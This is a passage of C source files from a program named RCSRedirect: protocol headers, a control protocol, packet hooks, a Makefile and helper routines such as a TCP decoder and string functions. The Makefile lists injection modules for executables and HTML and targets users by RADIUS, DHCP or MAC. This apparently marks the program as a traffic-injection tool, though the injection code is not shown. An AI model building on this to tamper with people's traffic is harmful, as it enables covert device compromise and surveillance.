}; 22 | 23 | /* link layer types */ 24 | enum { 25 | LL_TYPE_PPP_IP = 0x0021, 26 | LL_TYPE_IP = 0x0800, 27 | LL_TYPE_ARP = 0x0806, 28 | LL_TYPE_VLAN = 0x8100, 29 | LL_TYPE_IP6 = 0x86DD, 30 | LL_TYPE_PPP = 0x880B, 31 | LL_TYPE_PPPOE = 0x8864, 32 | LL_TYPE_MPLS = 0x8847, 33 | LL_TYPE_8021x = 0x888E 34 | }; 35 | 36 | /* network layer types */ 37 | enum { 38 | NL_TYPE_ICMP = 0x01, 39 | NL_TYPE_ICMP6 = 0x3a, 40 | NL_TYPE_TCP = 0x06, 41 | NL_TYPE_UDP = 0x11, 42 | NL_TYPE_GRE = 0x2f, 43 | NL_TYPE_OSPF = 0x59, 44 | NL_TYPE_VRRP = 0x70, 45 | }; 46 | 47 | /* proto layer types */ 48 | enum { 49 | PL_DEFAULT = 0x0000, 50 | }; 51 | 52 | /* IPv6 options types */ 53 | /* NOTE: they may (but should not) conflict with network layer types! */ 54 | /* double check new definitions of either types. */ 55 | 56 | enum { 57 | LO6_TYPE_HBH = 0, /* Hop-By-Hop */ 58 | LO6_TYPE_RT = 43, /* Routing */ 59 | LO6_TYPE_FR = 44, /* Fragment */ 60 | LO6_TYPE_DST = 60, /* Destination */ 61 | LO6_TYPE_NO = 59, /* No Next Header */ 62 | }; 63 | 64 | 65 | /* TCP flags */ 66 | enum { 67 | TH_FIN = 0x01, 68 | TH_SYN = 0x02, 69 | TH_RST = 0x04, 70 | TH_PSH = 0x08, 71 | TH_ACK = 0x10, 72 | TH_URG = 0x20, 73 | }; 74 | 75 | /* ICMP types */ 76 | enum { 77 | ICMP_ECHOREPLY = 0, 78 | ICMP_DEST_UNREACH = 3, 79 | ICMP_REDIRECT = 5, 80 | ICMP_ECHO = 8, 81 | ICMP_TIME_EXCEEDED = 11, 82 | ICMP_NET_UNREACH = 0, 83 | ICMP_HOST_UNREACH = 1, 84 | }; 85 | 86 | 87 | #endif 88 | 89 | /* EOF */ 90 | 91 | // vim:ts=3:expandtab 92 | 93 | -------------------------------------------------------------------------------- /include/netconf.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: netconf.h 2547 2010-06-22 14:29:28Z alor $ */ 3 | 4 | #ifndef __NETCONF_H 5 | #define __NETCONF_H 6 | 7 | #define MAX_PATH 260 8 | 9 | typedef struct _RncProto { 10 | u_int code; 11 | u_int size; 12 | } RncProtoHeader; 13 | 14 | #define RNC_SIGN_LEN 32 15 | typedef struct _RncProtoLogin { 16 | char sign[RNC_SIGN_LEN]; 17 | } RncProtoLogin; 18 | 19 | typedef struct _RncProtoVersion { 20 | char version[16]; 21 | } RncProtoVersion; 22 | 23 | typedef struct _RncProtoMonitor { 24 | char status[16]; 25 | u_int disk; 26 | u_int cpu; 27 | u_int pcpu; 28 | char desc[1024]; 29 | } RncProtoMonitor; 30 | 31 | typedef struct _RncProtoConfig { 32 | char filename[MAX_PATH]; 33 | u_int size; 34 | } RncProtoConfig; 35 | 36 | /* under MACOS the tm struct has two additional fields, use this instead */ 37 | struct mytm { 38 | int tm_sec; /* seconds after the minute [0-60] */ 39 | int tm_min; /* minutes after the hour [0-59] */ 40 | int tm_hour; /* hours since midnight [0-23] */ 41 | int tm_mday; /* day of the month [1-31] */ 42 | int tm_mon; /* months since January [0-11] */ 43 | int tm_year; /* years since 1900 */ 44 | int tm_wday; /* days since Sunday [0-6] */ 45 | int tm_yday; /* days since January 1 [0-365] */ 46 | int tm_isdst; /* Daylight Savings Time flag */ 47 | }; 48 | 49 | #define RNC_MAX_LOG_LEN 1024 50 | typedef struct _RncProtoLog { 51 | struct mytm timestamp; 52 | u_int type; 53 | #define RNC_LOG_INFO 0x00 54 | #define RNC_LOG_ERROR 0x01 55 | #define RNC_LOG_DEBUG 0x02 56 | char desc[RNC_MAX_LOG_LEN]; 57 | } RncProtoLog; 58 | 59 | #define RNC_PROTO_INVALID 0x000F0000 // Non usare 60 | #define RNC_PROTO_OK 0x000F0001 // OK 61 | #define RNC_PROTO_NO 0x000F0002 // Comando fallito o non e' stato possibile eseguirlo 62 | #define RNC_PROTO_BYE 0x000F0003 // Chiusura di connessione 63 | #define RNC_PROTO_LOGIN 0x000F0004 // Login del componente verso il sistema 64 | #define RNC_PROTO_MONITOR 0x000F0005 // Informazioni sullo stato del componente 65 | #define RNC_PROTO_CONF 0x000F0006 // Chiede se c'e' una nuova configurazione 66 | #define RNC_PROTO_LOG 0x000F0007 // Invia log 67 | #define RNC_PROTO_VERSION 0x000F0008 // Invia la versione del componente 68 | 69 | /* protos */ 70 | extern void netconf_start(void); 71 | 72 | #endif 73 | 74 | /* EOF */ 75 | 76 | // vim:ts=3:expandtab 77 | 78 | -------------------------------------------------------------------------------- /include/hook.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: hook.h 3555 2011-06-07 08:41:22Z alor $ */ 3 | 4 | #ifndef __HOOK_H 5 | #define __HOOK_H 6 | 7 | #include 8 | 9 | void hook_point(int point, struct packet_object *po); 10 | #define HOOK_RECEIVED 0 /* raw packet, the L* structures are not filled */ 11 | #define HOOK_DECODED 1 /* all the packet after the protocol stack parsing */ 12 | 13 | /* these are used the hook received packets */ 14 | #define HOOK_PACKET_BASE 50 15 | #define HOOK_PACKET_ETH (HOOK_PACKET_BASE + 1) 16 | #define HOOK_PACKET_FDDI (HOOK_PACKET_BASE + 2) 17 | #define HOOK_PACKET_TR (HOOK_PACKET_BASE + 3) 18 | #define HOOK_PACKET_WIFI (HOOK_PACKET_BASE + 4) 19 | #define HOOK_PACKET_ARP (HOOK_PACKET_BASE + 5) 20 | #define HOOK_PACKET_ARP_RQ (HOOK_PACKET_BASE + 6) 21 | #define HOOK_PACKET_ARP_RP (HOOK_PACKET_BASE + 7) 22 | #define HOOK_PACKET_IP (HOOK_PACKET_BASE + 8) 23 | #define HOOK_PACKET_IP6 (HOOK_PACKET_BASE + 9) 24 | #define HOOK_PACKET_UDP (HOOK_PACKET_BASE + 10) 25 | #define HOOK_PACKET_TCP (HOOK_PACKET_BASE + 11) 26 | #define HOOK_PACKET_ICMP (HOOK_PACKET_BASE + 12) 27 | #define HOOK_PACKET_LCP (HOOK_PACKET_BASE + 13) 28 | #define HOOK_PACKET_ECP (HOOK_PACKET_BASE + 14) 29 | #define HOOK_PACKET_IPCP (HOOK_PACKET_BASE + 15) 30 | #define HOOK_PACKET_PPP (HOOK_PACKET_BASE + 16) 31 | #define HOOK_PACKET_GRE (HOOK_PACKET_BASE + 17) 32 | #define HOOK_PACKET_VLAN (HOOK_PACKET_BASE + 18) 33 | #define HOOK_PACKET_MPLS (HOOK_PACKET_BASE + 19) 34 | #define HOOK_PACKET_PPPOE (HOOK_PACKET_BASE + 20) 35 | #define HOOK_PACKET_ERF (HOOK_PACKET_BASE + 21) 36 | 37 | /* high level protocol hooks */ 38 | #define HOOK_PROTO_BASE 100 39 | #define HOOK_PROTO_SMB (HOOK_PROTO_BASE + 1) 40 | #define HOOK_PROTO_SMB_CHL (HOOK_PROTO_BASE + 2) 41 | #define HOOK_PROTO_DHCP_REQUEST (HOOK_PROTO_BASE + 3) 42 | #define HOOK_PROTO_DHCP_DISCOVER (HOOK_PROTO_BASE + 4) 43 | #define HOOK_PROTO_DHCP_PROFILE (HOOK_PROTO_BASE + 5) 44 | #define HOOK_PROTO_DNS (HOOK_PROTO_BASE + 6) 45 | #define HOOK_PROTO_HTTP (HOOK_PROTO_BASE + 7) 46 | 47 | void hook_add(int point, void (*func)(struct packet_object *po) ); 48 | int hook_del(int point, void (*func)(struct packet_object *po) ); 49 | 50 | #endif 51 | 52 | /* EOF */ 53 | 54 | // vim:ts=3:expandtab 55 | 56 | -------------------------------------------------------------------------------- /src/missing/memcmp.c: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 1990 The Regents of the University of California. 3 | * All rights reserved. 4 | * 5 | * This code is derived from software contributed to Berkeley by 6 | * Chris Torek. 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions 10 | * are met: 11 | * 1. Redistributions of source code must retain the above copyright 12 | * notice, this list of conditions and the following disclaimer. 13 | * 2. Redistributions in binary form must reproduce the above copyright 14 | * notice, this list of conditions and the following disclaimer in the 15 | * documentation and/or other materials provided with the distribution. 16 | * 3. All advertising materials mentioning features or use of this software 17 | * must display the following acknowledgement: 18 | * This product includes software developed by the University of 19 | * California, Berkeley and its contributors. 20 | * 4. Neither the name of the University nor the names of its contributors 21 | * may be used to endorse or promote products derived from this software 22 | * without specific prior written permission. 23 | * 24 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 25 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 26 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 27 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 28 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 29 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 30 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 31 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 32 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 33 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 34 | * SUCH DAMAGE. 35 | */ 36 | 37 | #if defined(LIBC_SCCS) && !defined(lint) 38 | static char *rcsid = "$OpenBSD: memcmp.c,v 1.2 1996/08/19 08:34:05 tholo Exp $"; 39 | #endif /* LIBC_SCCS and not lint */ 40 | 41 | #include 42 | 43 | /* 44 | * Compare memory regions. 45 | */ 46 | int 47 | memcmp(s1, s2, n) 48 | const void *s1, *s2; 49 | size_t n; 50 | { 51 | if (n != 0) { 52 | register const unsigned char *p1 = s1, *p2 = s2; 53 | 54 | do { 55 | if (*p1++ != *p2++) 56 | return (*--p1 - *--p2); 57 | } while (--n != 0); 58 | } 59 | return (0); 60 | } 61 | -------------------------------------------------------------------------------- /src/Makefile.am: -------------------------------------------------------------------------------- 1 | 2 | # $Id: Makefile.am 3557 2011-06-07 09:16:06Z alor $ 3 | 4 | include $(top_srcdir)/Makefile.am.common 5 | 6 | bin_PROGRAMS = RCSRedirect 7 | 8 | RCSRedirect_SOURCES = bio_injector.c \ 9 | bio_replacer.c \ 10 | capture.c \ 11 | checksum.c \ 12 | conf.c \ 13 | debug.c \ 14 | decode.c \ 15 | dhcp.c \ 16 | encryption.c \ 17 | encryption_ccmp.c \ 18 | encryption_tkip.c \ 19 | error.c \ 20 | file.c \ 21 | globals.c \ 22 | hook.c \ 23 | inet.c \ 24 | log.c \ 25 | main.c \ 26 | match_fqdn.c \ 27 | match_request.c \ 28 | match_url.c \ 29 | match_users.c \ 30 | match_users_dhcp.c \ 31 | match_users_ip.c \ 32 | match_users_mac.c \ 33 | match_users_string.c \ 34 | match_users_radius.c \ 35 | netconf.c \ 36 | packet.c \ 37 | parser.c \ 38 | proxy.c \ 39 | proxy_inject_exe.c \ 40 | proxy_inject_html.c \ 41 | proxy_null.c \ 42 | proxy_replace.c \ 43 | radius.c \ 44 | send.c \ 45 | signals.c \ 46 | socket.c \ 47 | statemachine.c \ 48 | statistics.c \ 49 | strings.c \ 50 | threads.c \ 51 | timer.c \ 52 | ui.c \ 53 | watchdog.c 54 | 55 | RCSRedirect_SOURCES += protocols/cooked.c \ 56 | protocols/erf.c \ 57 | protocols/eth.c \ 58 | protocols/fddi.c \ 59 | protocols/ip.c \ 60 | protocols/ip6.c \ 61 | protocols/mpls.c \ 62 | protocols/pppoe.c \ 63 | protocols/tcp.c \ 64 | protocols/tr.c \ 65 | protocols/vlan.c \ 66 | protocols/udp.c \ 67 | protocols/wifi.c \ 68 | protocols/wifi_eapol.c \ 69 | protocols/wifi_prism.c \ 70 | protocols/wifi_radiotap.c 71 | 72 | RCSRedirect_SOURCES += missing/strlcpy.c 73 | 74 | RCSRedirect_CFLAGS = @BUILD_CFLAGS@ 75 | 76 | RCSRedirect_LDADD = @MELTER_LIBS@ @LIBOBJS@ 77 | 78 | RCSRedirect_LDFLAGS = @BUILD_LIBS@ 79 | 80 | CLEANFILES = *.log *.out core* missing/*.o *~ 81 | 82 | install-exec-hook: 83 | strip $(DESTDIR)$(bindir)/RCSRedirect 84 | 85 | # vim:ts=4:noexpandtab 86 | -------------------------------------------------------------------------------- /src/missing/strlcat.c: -------------------------------------------------------------------------------- 1 | /* $NetBSD: strlcat.c,v 1.5 1999/09/20 04:39:47 lukem Exp $ */ 2 | /* from OpenBSD: strlcat.c,v 1.2 1999/06/17 16:28:58 millert Exp */ 3 | 4 | /* 5 | * Copyright (c) 1998 Todd C. Miller 6 | * All rights reserved. 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions 10 | * are met: 11 | * 1. Redistributions of source code must retain the above copyright 12 | * notice, this list of conditions and the following disclaimer. 13 | * 2. Redistributions in binary form must reproduce the above copyright 14 | * notice, this list of conditions and the following disclaimer in the 15 | * documentation and/or other materials provided with the distribution. 16 | * 3. The name of the author may not be used to endorse or promote products 17 | * derived from this software without specific prior written permission. 18 | * 19 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, 20 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 21 | * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 22 | * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 23 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 24 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 25 | * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 26 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 27 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 28 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | */ 30 | 31 | #include 32 | #include 33 | 34 | size_t strlcat(char *, const char *, size_t); 35 | 36 | /* 37 | * Appends src to string dst of size siz (unlike strncat, siz is the 38 | * full size of dst, not space left). At most siz-1 characters 39 | * will be copied. Always NUL terminates (unless siz == 0). 40 | * Returns strlen(src); if retval >= siz, truncation occurred. 41 | */ 42 | size_t 43 | strlcat(dst, src, siz) 44 | char *dst; 45 | const char *src; 46 | size_t siz; 47 | { 48 | register char *d = dst; 49 | register const char *s = src; 50 | register size_t n = siz; 51 | size_t dlen; 52 | 53 | /* Find the end of dst and adjust bytes left but don't go past end */ 54 | while (*d != '\0' && n-- != 0) 55 | d++; 56 | dlen = d - dst; 57 | n = siz - dlen; 58 | 59 | if (n == 0) 60 | return(dlen + strlen(s)); 61 | while (*s != '\0') { 62 | if (n != 1) { 63 | *d++ = *s; 64 | n--; 65 | } 66 | s++; 67 | } 68 | *d = '\0'; 69 | 70 | return(dlen + (s - src)); /* count does not include NUL */ 71 | } 72 | -------------------------------------------------------------------------------- /src/missing/memmem.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2001 Alberto Ornaghi 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 3. The name of the author may not be used to endorse or promote products 14 | * derived from this software without specific prior written permission. 15 | * 16 | * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, 17 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 18 | * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 19 | * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 20 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 21 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 22 | * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 23 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 24 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF 25 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 26 | */ 27 | 28 | #include 29 | 30 | #if 0 31 | #include 32 | #include 33 | #include 34 | #endif 35 | 36 | void * memmem(const char *haystack, size_t haystacklen, 37 | const char *needle, size_t needlelen); 38 | 39 | /* 40 | * DESCRIPTION 41 | * The memmem() function finds the start of the first occurrence 42 | * of the substring needle of length needlelen in the memory area 43 | * haystack of length haystacklen. 44 | * 45 | * RETURN VALUE 46 | * The memmem() function returns a pointer to the beginning of the 47 | * substring, or NULL if the substring is not found. 48 | */ 49 | 50 | 51 | void * memmem(const char *haystack, size_t haystacklen, 52 | const char *needle, size_t needlelen) 53 | { 54 | register const char *h = haystack; 55 | register const char *n = needle; 56 | register size_t hl = haystacklen; 57 | register size_t nl = needlelen; 58 | register size_t i; 59 | 60 | if (nl == 0) return (void *) haystack; /* The first occurrence of the empty string is deemed to occur at 61 | the beginning of the string. */ 62 | 63 | for( i = 0; (i < hl) && (i + nl <= hl ); i++ ) 64 | if (h[i] == *n) /* first match */ 65 | if ( !memcmp(&h[i]+1, n + 1, nl - 1) ) 66 | return (void *)(haystack+i); /* returns a pointer to the substring */ 67 | 68 | return (void *)NULL; /* not found */ 69 | } 70 | 71 | /* EOF */ 72 | -------------------------------------------------------------------------------- /src/statistics.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- statistics 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: statistics.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | static long long heartbeat; 13 | pthread_mutex_t hbeat_mux = PTHREAD_MUTEX_INITIALIZER; 14 | #define HEARTBEAT_LOCK do { pthread_mutex_lock(&hbeat_mux); } while (0) 15 | #define HEARTBEAT_UNLOCK do { pthread_mutex_unlock(&hbeat_mux); } while (0) 16 | 17 | long long stat_get_heartbeat(void); 18 | void stat_heartbeat(void); 19 | 20 | // get current heartbeat 21 | long long stat_get_heartbeat(void) 22 | { 23 | long long current; 24 | 25 | HEARTBEAT_LOCK; 26 | current = heartbeat; 27 | HEARTBEAT_UNLOCK; 28 | 29 | return current; 30 | } 31 | 32 | // do heartbeat 33 | // to be placed in most recurrent code blocks 34 | void stat_heartbeat(void) 35 | { 36 | HEARTBEAT_LOCK; 37 | heartbeat++; 38 | HEARTBEAT_UNLOCK; 39 | } 40 | 41 | struct stat_t { 42 | long long transferred; 43 | long long received; 44 | long long sent; 45 | long long throughput; 46 | time_t start_time; 47 | u_int32 packetrate; 48 | }; 49 | 50 | static struct stat_t statistics; 51 | 52 | void stat_init(void); 53 | void stat_update_sent(u_int32 sent); 54 | void stat_update_received(u_int32 received); 55 | void stat_get(u_int32 *transferred, u_int32 *throughput, u_int32 *packetrate); 56 | void stat_log_statistics(void); 57 | long long stat_compute_avg_throughput(void); 58 | 59 | /******** STATISTICS *********/ 60 | 61 | void stat_init(void) 62 | { 63 | statistics.transferred = 0; 64 | statistics.received = 0; 65 | statistics.sent = 0; 66 | statistics.throughput = 0; 67 | statistics.packetrate = 0; 68 | 69 | statistics.start_time = time(NULL); 70 | } 71 | 72 | void stat_log_statistics(void) 73 | { 74 | u_int32 xferred; 75 | u_int32 tput; 76 | 77 | stat_get(&xferred, &tput, NULL); 78 | 79 | DEBUG_MSG(D_INFO, "%s statistics [transferred %d][throughtput %d]", __func__, xferred, tput); 80 | } 81 | 82 | void stat_get(u_int32 *transferred, u_int32 *throughput, u_int32 *packetrate) 83 | { 84 | 85 | stat_compute_avg_throughput(); 86 | 87 | if (transferred) 88 | *transferred = statistics.transferred; 89 | 90 | if (throughput) 91 | *throughput = statistics.throughput; 92 | 93 | if (packetrate) 94 | *packetrate = statistics.packetrate; 95 | } 96 | 97 | void stat_update_sent(u_int32 sent) 98 | { 99 | statistics.sent += sent; 100 | statistics.transferred += sent; 101 | } 102 | 103 | void stat_update_received(u_int32 received) 104 | { 105 | statistics.received += received; 106 | statistics.transferred += received; 107 | } 108 | 109 | long long stat_compute_avg_throughput(void) 110 | { 111 | time_t now = time(NULL); 112 | 113 | // tput in bytes per second 114 | statistics.throughput = statistics.transferred / (u_int32)(now - statistics.start_time); 115 | 116 | return statistics.throughput; 117 | } 118 | 119 | /* EOF */ 120 | 121 | // vim:ts=3:expandtab 122 | -------------------------------------------------------------------------------- /src/packet.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- packet object handling 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: packet.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | /* protos... */ 15 | 16 | inline int packet_create_object(struct packet_object *po, u_char *buf, size_t len); 17 | inline int packet_destroy_object(struct packet_object *po); 18 | struct packet_object * packet_dup(struct packet_object *po, u_char flag); 19 | 20 | /* --------------------------- */ 21 | 22 | /* 23 | * associate the buffer to the packet object 24 | */ 25 | 26 | inline int packet_create_object(struct packet_object *po, u_char *buf, size_t len) 27 | { 28 | /* clear the memory */ 29 | memset(po, 0, sizeof(struct packet_object)); 30 | 31 | /* set the buffer and the len of the received packet */ 32 | po->packet = buf; 33 | po->len = len; 34 | 35 | return (0); 36 | } 37 | 38 | /* 39 | * free the packet object memory 40 | */ 41 | 42 | inline int packet_destroy_object(struct packet_object *po) 43 | { 44 | 45 | /* 46 | * the packet is a duplicate 47 | * we have to free even the packet buffer. 48 | */ 49 | if (po->flags & PO_DUP) { 50 | 51 | SAFE_FREE(po->packet); 52 | } 53 | 54 | return 0; 55 | } 56 | 57 | 58 | /* 59 | * duplicate a po and return 60 | * the new allocated one 61 | */ 62 | struct packet_object * packet_dup(struct packet_object *po, u_char flag) 63 | { 64 | struct packet_object *dup_po; 65 | 66 | SAFE_CALLOC(dup_po, 1, sizeof(struct packet_object)); 67 | 68 | /* 69 | * copy the po over the dup_po 70 | * but this is not sufficient, we have to adjust all 71 | * the pointer to the po->packet. 72 | * so allocate a new packet, then recalculate the 73 | * pointers 74 | */ 75 | memcpy(dup_po, po, sizeof(struct packet_object)); 76 | 77 | /* copy only if the buffer exists */ 78 | if ( (flag & PO_DUP_PACKET) && po->packet != NULL) { 79 | /* duplicate the po buffer */ 80 | SAFE_CALLOC(dup_po->packet, po->len, sizeof(u_char)); 81 | 82 | /* copy the buffer */ 83 | memcpy(dup_po->packet, po->packet, po->len); 84 | } else { 85 | dup_po->len = 0; 86 | dup_po->packet = NULL; 87 | } 88 | 89 | /* 90 | * adjust all the pointers as the difference 91 | * between the old buffer and the pointer 92 | */ 93 | dup_po->L2.header = dup_po->packet + (po->L2.header - po->packet); 94 | 95 | dup_po->L3.header = dup_po->packet + (po->L3.header - po->packet); 96 | dup_po->L3.options = dup_po->packet + (po->L3.options - po->packet); 97 | 98 | dup_po->L4.header = dup_po->packet + (po->L4.header - po->packet); 99 | dup_po->L4.options = dup_po->packet + (po->L4.options - po->packet); 100 | 101 | dup_po->DATA.data = dup_po->packet + (po->DATA.data - po->packet); 102 | 103 | /* this packet is a duplicate */ 104 | dup_po->flags |= PO_DUP; 105 | 106 | return dup_po; 107 | } 108 | 109 | 110 | /* EOF */ 111 | 112 | // vim:ts=3:expandtab 113 | -------------------------------------------------------------------------------- /src/missing/strsep.c: -------------------------------------------------------------------------------- 1 | /* $OpenBSD: strsep.c,v 1.3 1997/08/20 04:28:14 millert Exp $ */ 2 | 3 | /*- 4 | * Copyright (c) 1990, 1993 5 | * The Regents of the University of California. All rights reserved. 6 | * 7 | * Redistribution and use in source and binary forms, with or without 8 | * modification, are permitted provided that the following conditions 9 | * are met: 10 | * 1. Redistributions of source code must retain the above copyright 11 | * notice, this list of conditions and the following disclaimer. 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 3. All advertising materials mentioning features or use of this software 16 | * must display the following acknowledgement: 17 | * This product includes software developed by the University of 18 | * California, Berkeley and its contributors. 19 | * 4. Neither the name of the University nor the names of its contributors 20 | * may be used to endorse or promote products derived from this software 21 | * without specific prior written permission. 22 | * 23 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 24 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 25 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 26 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 27 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 28 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 29 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 30 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 31 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 32 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 33 | * SUCH DAMAGE. 34 | */ 35 | 36 | #include 37 | 38 | #if 0 39 | #include 40 | #include 41 | #endif 42 | 43 | char * strsep(char **, const char *); 44 | 45 | /* 46 | * Get next token from string *stringp, where tokens are possibly-empty 47 | * strings separated by characters from delim. 48 | * 49 | * Writes NULs into the string at *stringp to end tokens. 50 | * delim need not remain constant from call to call. 51 | * On return, *stringp points past the last NUL written (if there might 52 | * be further tokens), or is NULL (if there are definitely no more tokens). 53 | * 54 | * If *stringp is NULL, strsep returns NULL. 55 | */ 56 | char * 57 | strsep(stringp, delim) 58 | register char **stringp; 59 | register const char *delim; 60 | { 61 | register char *s; 62 | register const char *spanp; 63 | register int c, sc; 64 | char *tok; 65 | 66 | if ((s = *stringp) == NULL) 67 | return (NULL); 68 | for (tok = s;;) { 69 | c = *s++; 70 | spanp = delim; 71 | do { 72 | if ((sc = *spanp++) == c) { 73 | if (c == 0) 74 | s = NULL; 75 | else 76 | s[-1] = 0; 77 | *stringp = s; 78 | return (tok); 79 | } 80 | } while (sc != 0); 81 | } 82 | /* NOTREACHED */ 83 | } 84 | -------------------------------------------------------------------------------- /src/protocols/tcp.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- TCP decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: tcp.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | /* globals */ 13 | 14 | struct tcp_header { 15 | u_int16 sport; /* source port */ 16 | u_int16 dport; /* destination port */ 17 | u_int32 seq; /* sequence number */ 18 | u_int32 ack; /* acknowledgement number */ 19 | #ifndef WORDS_BIGENDIAN 20 | u_int8 x2:4; /* (unused) */ 21 | u_int8 off:4; /* data offset */ 22 | #else 23 | u_int8 off:4; /* data offset */ 24 | u_int8 x2:4; /* (unused) */ 25 | #endif 26 | u_int8 flags; 27 | #define TH_FIN 0x01 28 | #define TH_SYN 0x02 29 | #define TH_RST 0x04 30 | #define TH_PSH 0x08 31 | #define TH_ACK 0x10 32 | #define TH_URG 0x20 33 | u_int16 win; /* window */ 34 | u_int16 csum; /* checksum */ 35 | u_int16 urp; /* urgent pointer */ 36 | }; 37 | 38 | /* tcp options */ 39 | #define TCPOPT_EOL 0 40 | #define TCPOPT_NOP 1 41 | #define TCPOPT_MAXSEG 2 42 | #define TCPOPT_WSCALE 3 43 | #define TCPOPT_SACKOK 4 44 | #define TCPOPT_TIMESTAMP 8 45 | 46 | 47 | /* protos */ 48 | 49 | FUNC_DECODER(decode_tcp); 50 | void tcp_init(void); 51 | 52 | /*******************************************/ 53 | 54 | /* 55 | * this function is the initializer. 56 | * it adds the entry in the table of registered decoder 57 | */ 58 | 59 | void __init tcp_init(void) 60 | { 61 | add_decoder(PROTO_LAYER, NL_TYPE_TCP, decode_tcp); 62 | } 63 | 64 | 65 | FUNC_DECODER(decode_tcp) 66 | { 67 | struct tcp_header *tcp; 68 | u_char *opt_start, *opt_end; 69 | 70 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 71 | 72 | tcp = (struct tcp_header *)DECODE_DATA; 73 | 74 | opt_start = (u_char *)(tcp + 1); 75 | opt_end = (u_char*)( ((int)tcp) + tcp->off * 4 ); 76 | 77 | DECODED_LEN = (u_int32)(tcp->off * 